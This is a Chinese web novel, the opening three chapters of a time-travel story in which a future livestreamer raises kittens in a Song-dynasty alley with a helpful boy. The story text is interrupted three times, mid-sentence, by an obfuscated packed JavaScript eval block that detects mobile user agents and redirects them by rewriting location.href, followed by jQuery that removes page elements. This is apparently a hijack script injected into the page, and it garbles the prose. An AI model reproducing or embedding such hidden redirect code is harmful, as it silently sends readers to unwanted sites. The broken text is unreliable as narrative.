《巷口猫姑娘,云直播养猫》 1. 第一章 穿越 天光破晓,瓦上的露水被风吹得细细滑落,打在院墙那块青石上,滴答声不绝。 沈令遥缓缓睁开眼,先是被那根横在头顶的木梁吓了一跳,梁上悬着一根已经发灰的布巾,被风吹得缓缓摆动,像个无声的老人口中碎碎念。 她第一反应就是伸手去摸床头,想找那只惯常依偎着她、有自清洁程序的智能狸猫,结果手下一片空,指尖触到的,是粗糙的麻布被角,还有一团软绒绒、微微颤抖的小生命。 “喵……” 带着奶味的小猫叫声,柔软而短促,却足够击碎她此刻所有的迷茫。 沈令遥呆愣着盯了好几秒,直到小猫抬起湿漉漉的鼻尖,蹭了蹭她的手腕,甚至伸出粉嫩的小舌尖,试探性地舔了她一下。 那一瞬,她才陡然意识到,眼眶一热,手指也颤了颤,像是被谁猛然敲醒。 “你……你是谁家的啊?” 声音微微发哑,带着刚睡醒的沙哑,又透着她平日惯用的撒娇腔调,只不过如今听来,有点滑稽。 小猫仿佛听懂,忽然“咪”了一声,随后滚到她怀里,脑袋埋进她的手心,呼噜声很快响起来,小得像一段细细的风。 沈令遥吸了吸鼻子,抬头扫向屋里。 屋子不大,只有一扇歪斜的木窗,窗棂上爬着几道裂缝,透过缝隙能看到外面正飘散的淡白晨雾。屋角堆着几捆稻草,稻香混着陈年霉味扑鼻,桌上放着半截干裂的竹篮,篮里还有几片青菜叶,看起来是昨夜剩下的。 她缓缓坐起身,额前一缕发丝滑落,掩住了微微湿润的眼角。 未来世界的面板在她脑子里还时不时闪出一行乱码:【系统异常,无法连接数据库,请重新……】 沈令遥“噗”地笑了一声,笑里透出一丝鼻音,像极了未来世界那些被封禁账号后无奈发的语音帖。 “难道是在什么模拟的副本里?要不然怎么会有这么真的猫?还是系统把我送去了什么地方,现在还断网了?” 她伸手捞起小猫,抱到怀里,轻轻揉揉它的后颈。毛发下那细小而坚定的心跳,让她心里莫名生出一种奇妙的安稳感。 她低头看它,轻声说:“以后,就只能靠你了,小家伙。” 猫眯着眼睛,一脸安心,仿佛什么都不用担心,只管睡觉就好。 沈令遥起身,赤脚踩在微凉的青砖地上,脚底一阵湿滑的凉意,却比未来世界那种恒温地面更真切,也更唤醒人。 她推开门,一股带着烟火气和湿土味的早晨扑面而来。 街口有人吆喝:“新出锅的豆腐脑——热乎着呢!” 另一头,又有人挑担喊:“糯米团子,香甜软糯,一文一个!” 巷口有一排矮墙,墙角盛开的野花开得疏疏落落,一只小灰猫趴在墙头,眯着眼晒太阳。它看见沈令遥,懒洋洋地瞥了一眼,随后“喵”了一声,算作招呼。 沈令遥勾起嘴角,眯起眼睛跟它对视,忽然笑出了声。 “看起来……这地方虽然简陋,倒是有点意思。” 她揽着怀里的小猫,脚步一点点往外移,院子里有一口浅井,井水清澈得能看见底下的碎石和水草。她弯腰舀了一瓢,冰凉的水沿着指缝滑下来,滑进猫的鼻尖,猫被凉得“喵”了一声,四肢抖了抖,整只小脸皱成一团。 “哈哈,好了好了,不吓你。”沈令遥拿袖子轻轻帮它抹干,动作轻柔得像拂一片露水。 弄完之后抱着猫,坐到石阶上,靠着墙,鼻子里满是草木香和井水的清冽,耳边是街道传来的热闹人声。她忽然觉得,若不是突然被系统赶到这里,这样的清晨她大概一辈子也不会经历。 未来世界的喧嚣、冷气恒温、合成甜品、广告飞屏……那些似乎都离她很远了。 猫在怀里呼噜,她低头看看,嘴角缓缓扬起,眸底的迷雾逐渐散开。 她轻声说:“好吧,这算是,另一种重启。” 抱着猫出了巷口,沈令遥第一眼就看见了那个蹲在石墩旁的少年。 少年穿一件洗得发白的青布衣,袖口缝着几道明显的补丁,脖子上搭着条蓝布巾,整个人看着干净利落,眉眼带着股子机灵劲。 他正小心翼翼托着一个圆蒸笼,笼里毛茸茸地挤着几只小猫,软成一团,偶尔有一只探出脑袋,露出圆溜溜的眼睛,呆呆地打量世界。 “姑娘,要不要看看?这些小猫刚捡的,软和得很。”少年一见她,立马跳起来,笑得跟阳光一样明亮,声音里透着一股讨喜的稚气。 沈令遥愣了愣,下意识地把怀里的猫抱紧一些,随后走近几步,低头看笼子里的小猫。 那几只小猫色泽不一,有黑白相间的,有灰背白肚的,还有一只全黑的小团子,正用爪子扒着蒸笼边,似乎想出来。 她抿了抿嘴,伸出手,小黑猫就立刻伸鼻子过来蹭她的指尖,湿乎乎的,像一滴新沾的晨露。 “它很喜欢你。”少年看着,眼里闪过一丝轻快,“我叫福来,街里人都喊我‘跑腿福’,什么都能帮忙跑。” 沈令遥笑着摸了摸小黑猫的脑袋,看向他:“这猫,是你特地捡来卖的?” 福来挠挠头,笑容有点憨:“倒不是,捡回来只是想养着,可家里也穷,实在留不了这么多。姑娘若是喜欢,拿去也成。” 她皱了皱眉,看着这些还带奶味的小猫,一个念头缓缓浮上心头。 未来系统那边虽然显示异常,但还有任务提示【云直播任务·喂养猫崽,完成度提高,增加能量供给。】 她看向福来,眨了眨眼:“那……要是我都带走,你要多少银子?” 福来猛地抬头,慌忙摆手:“不要银子!能有人养它们,比啥都强!” 沈令遥愣了一下,心底忽然生出一丝温热,像是暖风吹进微凉的巷口。 “那好,我都带回去。不过,我这院子还缺个帮手,要不要来帮我?” 福来呆了一下,随即脸颊飞红,猛地用力点头:“我、我愿意!我最会照料小猫,也能跑腿、劈柴、打水!” 沈令遥轻轻笑了,声音里带着未来少见的柔和:“那就一起吧。” 福来将蒸笼小心托起来,走在她身后,猫们时不时发出一两声细细的奶叫,仿佛也跟着热闹起来。 两人一猫,一路沿着小巷慢慢往回走,巷口刚好有人挑水经过,福来顺手帮忙扶了一把,女人笑着夸:“这小伙子勤快,是个好苗子。” 沈令遥看着,眸子微亮,心里却在悄悄整理下一步的打算。 她忽然意识到,这条小巷,这些笑声,甚至这些猫,都是真实、温暖的,她再也不是那个透过屏幕云养猫、永远和观众隔着层玻璃的沈令遥。 她轻轻揉揉怀里那只猫的耳背,低声说:“要开始新的生活了,小家伙们。” 回到那条窄窄的青石小巷,沈令遥脚步轻快了不少。怀里的小猫依旧安安静静,偶尔轻轻蹭她的胸口,耳朵抖一抖,像在确认她的呼吸。 院门吱呀一声被推开,几只灰扑扑的小鸟扑棱棱飞起来,落在墙头抖翅膀,发出几声不满的啾鸣。沈令遥歪头瞧了它们一眼,心里竟莫名生出一股亲切感。 福来把那只大蒸笼小心翼翼放在门边,猫崽们好奇地四处张望,笼子里的几双眼睛闪着水光,一动一动,像一池刚冒出的小气泡。 “姑娘,这些猫怕生,我来给它们安顿安顿。”福来挽了挽袖子,露出瘦削但结实的手臂,动作麻利地从蒸笼里抱出一只黑白小猫,小声哄着,“别怕啊,咱们以后就有家了。” 沈令遥看着,眼角的笑意一点点溢出来。她蹲下身,伸手摸了摸那只小猫的后脖颈,小猫打了个小喷嚏,鼻尖上沾了点水,软乎乎的样子逗得她忍不住笑出声。 “福来,你有照顾猫的经验?”她随口问。 “嗯!”福来抬头,笑得露出一口白牙,“我小时候帮我娘养过一窝,后来娘说太费米,就送人了。那时候我天天给它们做窝、喂小鱼汤。” 沈令遥听了,心底不自觉地软了几分。她把怀里的猫轻轻放到院子里临时铺好的稻草上,猫刚开始还瑟缩,过了一会儿才探出脑袋,四处闻了闻,见没有危险,便小心地伸出小爪子,踮着步子往前走。 她盯着那只猫的步伐看,忽然想到未来世界那些虚拟猫,脚步始终是预设好的,永远不会歪,也不会抖,更不会因紧张而后退半步。 可现在这只猫,每一小步都带着颤抖,每一声喵叫都透着生命里最真实的呼吸。 “姑娘,您看它是不是有点怕?要不我先编个小竹篓,给它们藏身。”福来见她神色微恍,忙开口建议。 “好。”沈令遥回神,点点头,眸光又柔下来,“不过你得先吃点东西,别饿着。” 福来憨憨地笑:“我早上啃了两块冷饼,不碍事!” 她瞪了他一眼:“少胡说,待会儿做猫食的时候,先把剩的鱼汤羹盛一碗给你,厨房里还有一把糙米,我来给你熬碗米汤。” 福来挠挠头,憋着笑,声音小得几乎被猫叫声淹没:“姑娘真好……” 说着,他起身跑到屋角,捡起昨晚堆着的竹条,找了把小刀,三下两下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385996|200256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地削去毛刺,开始编篓子。他手法虽不算熟练,却极有耐性,一圈一圈慢慢收口,边编还会抬头看猫群有没有往外溜。 沈令遥转身进屋,把洗干净的鱼骨、糙米倒进陶罐,挑了些嫩菜叶子搭在一旁备用,灶台上柴火已经燃得红亮。火光里升起淡淡白烟,她被呛得眨了几次眼,但脸上仍带着安静的笑意。 锅里“咕嘟”一声响,热气扑到脸上,她一边搅动,一边想起未来观众的弹幕。那些“想看猫群排排坐”“今晚能不能给猫们搞个小夜宵挑战”的留言,在脑子里回响,变得有些远,也有些好笑。 她轻声自言自语:“这回,终于能尝试真实的喂猫方式了,已经许久没有这样的尝试了。” 外面传来福来的声音:“姑娘,第一只小窝快好了!要不要拿来瞧瞧?” “好,我出来啦。”沈令遥抿唇笑着,把锅盖盖好,端着陶罐走出去。 院子中央,几只猫趴在软草上,有的舔爪子,有的打滚,只有最小的那一只还紧紧贴着稻草,抖得厉害。 沈令遥蹲下身,先把陶罐搁到一边,伸手去捞那只小猫。那猫一见她靠近,先是抖了抖耳朵,随后一歪,一头撞进她掌心,像个找温度的孩子。 “真是个胆小鬼啊。”她轻轻说,抚过它后颈,慢慢托进福来递来的竹篓里。 “姑娘编得好看吧?”福来眼睛亮晶晶地盯着她。 沈令遥仔细摸了摸篓子边缘,虽不算平整,但结实无比,甚至在竹条交织处还隐隐透出一股新竹清香。 “很棒,比我强。”她笑着竖了个拇指,福来憨憨笑着搓搓手,耳根红得像被晒过的豆腐皮。 沈令遥看着这些猫,心头轻轻发涨,既酸又暖。 她吩咐福来:“喂猫的碗也得准备,要用木碗,不然容易翻。还有,明天你得帮我去香市,看看有没有卖好布料的,我想做几个猫香囊。” “好!”福来连连点头,转身飞快跑到屋子那边找木碗去了,脚步声哒哒地,像一只小鹿。 沈令遥趁着空挡,把鱼汤倒到几个小木碗里,先给最小的那几只分了。猫们闻见鱼汤味,先是扭着脑袋嗅了半天,随后一只只慢慢伸出舌头,试探着舔起来。 有人曾说,猫吃东西的时候是最专注、最无防备的时候。 她看着猫们一只只低头舔汤,耳朵一动一动,尾巴卷在身侧,偶尔发出啵啵的声音,就像水面碎开的泡。 那一刻,沈令遥觉得,这一切似乎都是被安排好的。 被系统投错世界也好,被迫离开未来也罢,至少这里,她可以亲手为这些小东西煮鱼汤,亲眼看它们活生生地吃饭、打哈欠、跑开。 这比隔着一层屏幕,看那些虚拟猫摆着程式化的软萌动作,听无数弹幕刷着“好可爱”“再投一个罐头”的日子好多了。 她抬手擦了擦鼻尖,鼻尖微凉,却透着清透的畅快。 等所有猫都吃饱后,她和福来又把剩下的稻草一根根垫进竹篓,重新整理成一个个小窝。猫们轮流爬进去,有的半只身子在外面,有的干脆两只一起挤,吵得“喵喵”叫个不停。 福来看着,乐得直拍大腿,忍不住念叨:“姑娘,我觉得这些猫跟你真有缘,你看,每只都这么黏你。” “那是,它们知道谁是以后煮鱼汤的人。”沈令遥笑着调侃,拿指节轻轻点了点福来的额头。 “诶嘿。”福来抿着嘴,肩膀一抖一抖地笑,像是憋着不敢大声,怕吓到猫。 夕阳缓缓落下,院子被染成一片暖橘色。墙头那只灰猫也跳下来,蹲在小院门口,望着里头的一窝猫,眼神复杂,像个守门的老先生。 风微微吹过,带来巷子里蒸包子的香气,隐约混着豆腐脑和葱油饼的香味,远处有小贩喊着:“夜粥夜粥——清甜热糯,驱寒暖胃——” 沈令遥吸了口气,觉得鼻腔都被这股温热塞满。她转过头,见福来还在整理最后一只猫的稻草,便笑着招呼:“先别忙了,今晚我煮点夜粥,你帮我一起吃。” “真、真的?”福来猛然抬头,脸涨得红扑扑,像刚蒸好的小馒头。 “当然是真的。”她答得笃定。 夜风一点点凉下来,院里一片呼噜声,暖黄的油灯被挂到门口,像一颗静静燃着的小月亮。 沈令遥倚着门,看着猫们陆续睡熟,福来坐在石阶上,眼睛里闪着小小的亮光。 她轻轻吐出一口气,像是把未来世界那层冷气也一并吹散。 “沈令遥啊沈令遥,”她心底缓缓地说,“这或许,就是命里最温柔的一场意外吧。” 2. 第二章 开启云直播养猫 沈令遥坐在院门口,抱着那只灰白奶猫,眼神有些空茫。 昨夜她几乎没睡,只要一合眼,就会听见脑子里那条细碎的、半透明的提示音,一遍遍重复:【系统异常,请尽快完成任务补录……】 她想起自己躺在未来塔顶,怀里搂着那只智能狸猫,吃着喷香的炸蚕豆罐头,顺便刷着她那条最新的猫咪打滚合集。 那时候,她是全城最知名的宠物博主,每天轻轻一条短视频,就能获得上千个未来币,还有源源不断的云投喂罐头、鱼干、合成肉条,甚至有粉丝把她的猫形象印到月球漫游广告上。 “说起来……也真荒唐啊。” 她咬着指尖,嘴角泛着一丝苦笑。曾经以为那些都是无限真实的体验馆,而如今,体验成了现实,真实反倒成了梦。 她缓缓低头,看着怀里的猫,指腹轻轻摩挲那柔软的后颈。 【系统提示:请尽快拍摄宋代环境下猫喂食视频,否则能量供给将终止。当前能量储备仅剩48小时。】 这条提示像一块冰,一下子砸进她的后颈,凉到脊柱都微微发紧。 沈令遥愣住,指尖停在猫耳根,半晌才吐出一口气。 “还以为是副本,原来是要命的任务啊……”她闭了闭眼,想起那些从弹幕里滚过的未来粉丝评论 【可爱死啦!】 【给猫加条激光尾巴吧!】 【投喂99个罐头,求猫咪撒娇合集!】 而现在,她连一条竹篮都找不到,连一口清水都要跑去井里提。 她有些发狠地站起来,把猫轻轻放到门口阳光处,转身进屋开始翻找那些零碎的破碗、半旧的布条、还有几个裂纹的小陶罐。 “必须先把视频拍出来。”她咬着牙念叨,动作急促。 屋里灰暗狭小,她扯下一块灰布包起鱼骨,拎着就往灶台边走。灶台上的锅底烧得乌黑,还残留着一层薄灰,她匆匆舀水,洗净米,捞起几根细鱼骨,学着以前看过的古法煮羹视频,笨拙地剁着。 木刀每一下都带着闷响,猫们在外头被吓得“喵”地齐声叫唤,几只猫跳到篱笆边上,差点翻出去。福来听到,急忙跑过来,边喊边捞猫:“别跑啊别跑啊!” 沈令遥根本顾不上,只一心盯着锅里的米和鱼骨,不断翻动,不断用勺子舀起尝味。 “太淡,太腥……这要被骂死了。” 她把锅盖扔到一边,额头上渗出细细一层汗,眉毛快纠成结。 火烧得忽明忽暗,米汤的香气混着焦糊味,厨房里热气蒸腾,像个浑浊的小蒸笼。她被呛得不停咳嗽,背脊一阵阵发热,连衣襟都湿透了。 “姑娘,姑娘,锅边糊了!”福来探头进来,一脸慌张。 沈令遥回头,才发现锅沿已经糊成一圈黑黄,汤底起了泡,空气里弥漫一股酸焦味,福来急得拿破布扇风。 “完了完了……”她小声骂了一句,拎起木勺就往外端,碗里那点糊汤还被热气顶得咕噜噜直冒泡。 猫们嗅见这股陌生味道,一只只先是往后退,随后几只跳到竹篮上,有的甚至顺着门缝跑出去,乱作一团。 福来赶紧丢了竹条,伸手想抱住那只灰白猫,结果被狠狠挠了一爪子,疼得倒吸凉气:“哎哟!” 沈令遥蹲下,急得满脸通红,眼看就要抓不住猫,福来干脆扔下破布,张开双臂把两只猫一把按进怀里:“别怕,别怕……!” 混乱中,沈令遥蹲在石阶上,抱着一碗糊米鱼羹,看着几只猫四散逃窜,眼前一阵发黑,竟忍不住“扑哧”笑出了声,笑着笑着,笑成了呛咳,眼泪被风一吹,滴到了地砖上。 “原来……这才是最真实的云养猫啊……”她一边笑一边抽噎,嗓子里带着嘶哑,像是被狠狠碾碎过的砂糖。 福来看着她,不知道该哭还是该劝,只好抱着猫,结结巴巴地说:“姑娘……我、我帮你再生火,再煮一锅,好不好?” 沈令遥抬手擦了把眼泪,重重呼出一口气:“好,再来一锅。” 她拍了拍自己大腿,站起来,抖了抖肩膀。阳光透过门缝照到她脸上,眼睛湿润,却亮得惊人。 【系统提示:第一次尝试失败,未来观众已收到实况。即将进入弹幕调侃模式,部分观众已自动打赏小额资源。】 面前浮出一排细细的蓝光,像是被风吹散的水纹。 【哈哈哈,太真实了!投3个鱼干,求猫咪再逃一次!】 【这才叫云养猫,我笑到桌子都拍断!】 【女主厨艺灾难现场,支持!再来锅糊汤!】 沈令遥盯着那几条弹幕,深吸一口气,露出一个几乎带着战斗意味的笑。 “你们不是想看么?那就看好了,接下来我一定让你们看个痛快!” 她回头看福来,微微一笑:“再去借些柴火吧,我们今晚要让这些小家伙吃到最好的鱼汤。” “好嘞!”福来应得响亮,抱着猫转身就跑,步子轻快得像一阵风。 猫群渐渐从惊慌中缓过来,有几只小心翼翼地从竹篮里探头出来,鼻尖一动一动,试探着朝灶台方向凑过去。 沈令遥一边把破陶罐洗干净,一边低声念叨:“都给我记着,以后跑得再快,也得回来吃饭。”说到最后,声线又忍不住带了笑,像一尾在水面划过的清凉尾鳍。 她把所有鱼骨和糙米一根根清理干净,重新烧开一锅汤,手腕酸疼,背后衣服全湿,但心底却好久没有这么清醒过。 【系统提示:直播观众总计赞助鱼干×21,未来币×7。】 她忍不住“啧”了一声,挑眉:“才这么点?好啊,明天开始,让你们见识见识什么叫宋代云养猫顶流!” 屋外天光一点点斜下去,夜风爬上屋檐,吹动那根破布幔,卷起一股淡淡米香和鱼香。 几只猫在院子里重新安静下来,互相依偎,睡得软绵绵。福来一边给火添柴,一边不时偷看她,脸上忍不住笑。 她伸手把猫们圈进视线里,指尖轻抚后颈,眸中亮光一层层铺开。 沈令遥抬起头,看向窗外渐深的夜色,眼神又冷又热,像一颗被烤熟的蜜柑,甜味中还带点青涩。 “来吧,未来世界,我,沈令遥,宋朝第一猫铺老板娘,正式营业。” ……… 院外的风渐渐凉了,吹得院墙上的破藤条轻轻摇晃,几片旧藤叶啪嗒一声落在地上,打到一只刚探出头的小猫背上,那只小猫吓得整只身子弹了起来,四脚乱蹬,险些把身边的猫一并踩翻。 沈令遥见状,忍不住笑了出来,伸手把它抱起来,捧在手心仔细摸摸,像是安抚小孩般轻声念叨:“别怕,别怕……这藤叶啊,比未来的软光墙纸可吓人多啦。” 她把小猫放回竹篮,看它慢慢地往稻草里缩进去,尾巴尖还抖个不停,像一根柔软的小刷子。 她转过身,把破陶罐洗干净后摆到灶台上,又去屋角翻出那把摇摇欲坠的小簸箕,把地上的稻草屑和碎灰一撮一撮地扫进簸箕里。 未来世界里的智能清洁机器人总是寡淡无声、精准无误;而现在,她捏着簸箕,时不时抖个小喷嚏,额前一缕头发被热气打湿,贴在脸颊上,显得狼狈却活生生。 【系统提示:当前观众活跃度73%,有人提出「投喂甜汤挑战」请求;如接受可增加未来币奖励。】 沈令遥愣了愣,转头看了眼那排细蓝字,皱着眉头啧了一声,抿着嘴角,冷笑了一下:“你们这些人啊,还真是怕我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385997|200256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太清闲,哈?” 她把簸箕抖到门外,远处恰好传来巷口卖糖人的叫卖声:“刚捏的兔儿糖人,甜丝丝咯——” 她忽然灵机一动,摸摸下巴,眯起眼睛:“要不,明天去试试糖人和鱼汤一起……喂猫甜汤?敢吃的,肯定要先被群殴吧……” 想到这儿,她自己都被逗乐了,嘴角笑纹浅浅铺开。 院里那只灰白猫从篮子里伸出脑袋,小心地朝她这边走来,耳尖动了动,像是听懂她的打趣。沈令遥弯腰伸手,猫在她掌心里闻了一圈后,终于慢吞吞往她腿上蹭过去,像一小块发了酥的年糕。 沈令遥抬手抚摸它的脊背,动作缓慢又认真,指尖从颈根一路滑到尾巴尖,猫顺势咕噜一声,浑身都软下来,慢慢趴进她的膝弯。 她低头看着,脑子里那些闪来闪去的系统提示、弹幕花屏、观众留言,都渐渐变得远了,像被水洗过一样,一点点淡下去。 可脑中系统的声音依旧固执地回响:【能量储备仅剩47小时,需尽快完成视频补录,持续直播以维持生命机能。】 她长长地吐了口气,把猫往怀里再抱紧一点,轻声说:“行,我知道,我会继续拍,别催了,催命似的。” 那只灰白猫仿佛听懂了,抬头眨巴着湿润的眼睛,用粉色的小鼻尖蹭了蹭她的手背。 沈令遥看着它,眸光微微颤动,心底忽然翻涌起一阵浓烈的无措和酸涩。 “我以为这不过是个副本……几天体验后还能回去,继续我的顶流直播,继续收未来币,继续和那些空调冷风作伴……”她声音轻得像是含在风里,断断续续。 院子外,风吹得更凉了些,藤蔓上的露珠啪嗒掉下来,滴进青砖缝里,溅起一圈小小的水晕。 “结果呢……”她低低笑了笑,抬头看向半开的天井,“没了,回不去了,得靠你们这些小猫续命了。” 怀里的猫突然“咪”了一声,像是抗议,爪子搭在她指间,肉垫轻轻挠了两下。 沈令遥垂眼,看着那一小撮柔软的粉色,嘴角终于重新缓缓扬起。 “好啦,好啦,我不说丧气话。”她用食指弹了下猫的耳尖,猫瑟缩了一下,转而又蹭回来,呼噜声嗡嗡地震着她的掌心。 屋里,福来一边生火一边哼着小调,偶尔从门缝里伸头看她,见她还坐在那儿,就又低头笨拙地添柴,火光在他脸上跳跃,把少年模样烧得透亮,像一颗刚出锅的糖心蛋。 沈令遥回头,刚好对上福来那双亮晶晶的眼睛,两人对视一瞬,她微微一笑,像是把所有再重的事都先搁下了。 【系统提示:弹幕已解锁直播补录打赏池,当前累计小额打赏鱼干×53,未来币×18,当前储备可维持3天基础供能。】 “哼……原来还有这么点用处。”她轻哼一声,拍了拍怀里的猫,“你们都给我乖乖吃饭,乖乖拍视频,乖乖地……跟我一起活下去。” 猫发出一声像叹气又像撒娇的鼻音,随后安心地窝回她的怀里。 沈令遥缓缓抬头,望向渐渐暗下来的院子,眸子被灯火映得微亮,那一瞬,连系统的蓝光提示都显得不再那么冷。 她轻声呢喃:“副本也好,真实也罢……只要有你们,先继续活下去比较重要。” 屋里,柴火噼啪作响,鱼汤香味渐渐溢出来,细碎的猫呼噜声、偶尔被风带来的巷口吆喝声,都在夜色中化成一首柔软又略带喜感的前奏。 沈令遥伸手轻轻摩挲猫背,低声道:“喂,这不是副本,是命运的新副本,懂吗?” 猫没回答,只是呼噜得更响,仿佛小鼓似的在她胸口震动。 她抿着嘴角,眸中浮出一丝坚定,那是风吹不散、也不会再被系统蓝光夺走的微光。 3. 第三章 云直播喂养 沈令遥就被一阵混合了鱼香和柴火气的味道熏醒。 她睁眼时,怀里那只灰白小猫正窝成一小团,鼻尖埋在她手肘里,耳朵偶尔抖一抖,发出极轻的呼噜声,像是春水上荡开的圈圈涟漪。 沈令遥盯着它看了好一会儿,直到外面院子里响起一声大呼小叫:“姑娘,姑娘!快来看,我编好了!” 她被吓得一激灵,差点把猫丢出去。小猫咪地一声,翻了个身,尾巴翘得高高的,似乎对被吵醒表达不满。 沈令遥拍了拍它,哄着:“别闹,别闹啊,我也没想到他一大早能吼这么响……” 她披了件灰青色旧外衫,开门一看,差点没笑岔气。 福来正抬着一个奇形怪状的竹篓,激动得眼睛发亮:“姑娘你快瞧!昨晚我琢磨到半夜,今早又赶紧加了两根竹条,这篓子啊,肯定结实!” 沈令遥伸长脖子看,竹篓高高低低,口子大得能装一整只狗,底部歪斜,竹条交错得像被猫抓过似的,甚至边缘还多出几根长长的刺条。 她憋了两口气,终究还是没忍住,笑声扑哧一声泄出来,接着笑得前仰后合,连腰都快直不起来。 福来看她笑,先是愣住,随后脸一红,支支吾吾:“啊……这,这竹条太硬了,我就……我就随手加了几根……” 沈令遥一边擦眼角,一边伸手把篓子接过来,拿指尖轻轻弹了弹,发出咚咚声响。猫们围过来,小心地探头嗅嗅,有只胆大的干脆跳进竹篓里,结果一歪,直接被卡在一半位置,连尾巴都翘不直。 沈令遥笑得更狠,连声音都断了几次:“哈哈哈哈!它被夹住了……哈哈……快,福来,快帮忙啊!” 福来急得直冒汗,连忙把手伸进去,七手八脚地把那只猫捞出来,小猫喵地一声,像是骂人似的,蹬着后腿逃回稻草窝里,再也不肯出来。 沈令遥被这阵混乱逗得眼泪都出来了,连福来也忍不住被她传染,腆着脸憨笑着,一边抓耳挠腮,一边把篓子重新放回桌上。 “姑娘,你……你别笑啦……”福来憋着气,想认真,却被她的笑声弄得自己也笑到声音发抖。 沈令遥终于缓过来,捂着肚子,弯腰喘了好几口气,才抬头盯着那篓子,心想这篓子要是能开个搞笑专场,肯定觉得能赚不少票价钱。 她话音刚落,脑中忽然嗡地一闪,【系统提示:直播弹幕接入,未来观众已观看当前情境,进入实时互动模式。】 下一瞬,视野上方浮现出几条半透明蓝字: 【哈哈哈哈哈哈,笑疯了,这篓子要出圈!】 【快录下来!投88条鱼干!】 【猫:我谢谢你啊,下次别这样对我。】 【第一次见这种篓子,简直笑到背过气!】 沈令遥愣了愣,转而猛地挑眉,露出一个又惊又喜的神情。 “哟,这帮人还挺喜欢看翻车现场?” 她眯起眼睛,把篓子转了个方向,对着空气像示范商品似的展示:“大家请看,这叫天马行空竹编艺术·猫专属版,限量一只,仅此一件,买不了吃亏,买不了上当!” 福来看她对着空气嘟囔,吓得愣住:“姑娘……你是不是昨夜没休息好?” 沈令遥忽然憋笑,摇摇头:“没事,我这是……在跟远方的观众们交流。” 她将篓子重新放回桌上,瞥见系统提示栏里显示:【小额打赏鱼干×120,未来币×35,未来观众好感度+12。】 “啧……还真给钱啊……”她嘴角一扬,眸子里闪着狡黠的光,“行,那接下来,就多翻几个车给你们看!” 她转头看向福来,摆摆手:“来,今天帮我把剩下那些竹条都找出来,再编几个篓子试试!咱们先不图美观,图个乐呵!” 福来一听,脸色一变,支支吾吾:“啊?我……姑娘,我昨天那可是我全部的竹条存货啊……” 沈令遥叹气:“行吧,那我先试一个。” 她抬袖子,把几根剩下的竹条理顺,学着未来宠物周边展上看过的古法编织教学,开始一圈圈缠绕。 一开始她信心满满,结果刚到第二圈就发现竹条韧性不够,缠到第三圈时,直接断成两截,弹到院墙上,啪地一声,把躲在墙角的那只老灰猫吓得跳上了墙头,喵叫连连。 沈令遥一脸黑线,手指被竹刺扎出血珠,吸了一口凉气,气得想把整束竹条都扔出去。 福来看见,赶紧跑过来,按住她手:“别扔啊姑娘!这些竹条可是金贵的……我再教你,别急别急!” 她半生气地瞪着他:“你别一副老成持重的样子啊,你自己刚刚还编出那啥鬼篓子呢!” 福来被噎了一下,脸涨得通红,支支吾吾:“那、那……那咱们再慢慢学,总会成的!” 猫群被他们一唱一和的闹剧逗得安静下来,几只胆大的已经重新爬到院中央,躺在稻草堆上翻肚子,四脚朝天,偶尔抓抓空气,嘴里发出几声奶声奶气的咪咪。 沈令遥看着那些小家伙,气也慢慢消了。 她低头,盯着手里的竹条,嘴里小声嘟囔:“好吧,你们都在看着,不能丢面子。” 福来见她平复下来,松了口气,赶紧重新拾起几根竹条,示范给她看,一边笨拙地解释:“你看啊,得从这里扣,紧一圈,再松半圈,这样它不会崩……” 她耐着性子跟着学,手指一根一根慢慢捻,竹刺反复扎到肉里,每次都忍住没吭声。 太阳渐渐升高,青砖院子被晒得泛出白光,她的手指上也沾满了竹屑、碎丝,袖子上留下几道细细的血痕。 【系统提示:当前直播已达98%观众兴趣高峰,继续互动可获得额外资源奖励。】 她咬着牙,笑容却越来越明亮,眼角因为眯着而泛着一层汗水。 “来,福来,再帮我递两根,我今天非把这鬼东西编出来不可!” “好!”福来也被她感染,抬袖子擦汗,笑得一口白牙。 猫们像一群围观的迷你观众,在稻草上滚来滚去,偶尔有只会从竹条缝里探头看,一脸这俩人是不是傻的表情。 等到中午,第一只成型的猫篓终于勉强完成,虽然歪歪扭扭,但至少没有崩开。 沈令遥举着篓子,冲着空气用力挥了挥,像是向未来世界的观众展示战利品。 “看见没!本人的第一只宋朝手工猫篓子,虽然丑,但绝对是亲手做的!” 福来笑得快要岔气,扶着桌子直拍大腿:“哈哈哈哈,姑娘,这篓子绝了,比昨儿那个还……还绝!” 沈令遥也笑了,笑声穿过青瓦和小巷,远处几个挑担路过的老人都停下来看,连门口那只灰猫都忍不住探头,喵了一声,像是跟着凑热闹。 她低头看了看猫群,再抬眼看那条几乎看不见的系统蓝条,缓缓地呼出一口气。 “看来,这个世界,比我想象的……要热闹得多。” 猫呼噜声和少年笑声混作一团,院子里,竹篓斜着躺在地上,阳光洒下来,柔得像一层浅色糖衣,笼罩着一切纷乱又欢快的细节。 沈令遥捧着那只歪歪扭扭的竹篓,笑到肩膀一抖一抖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 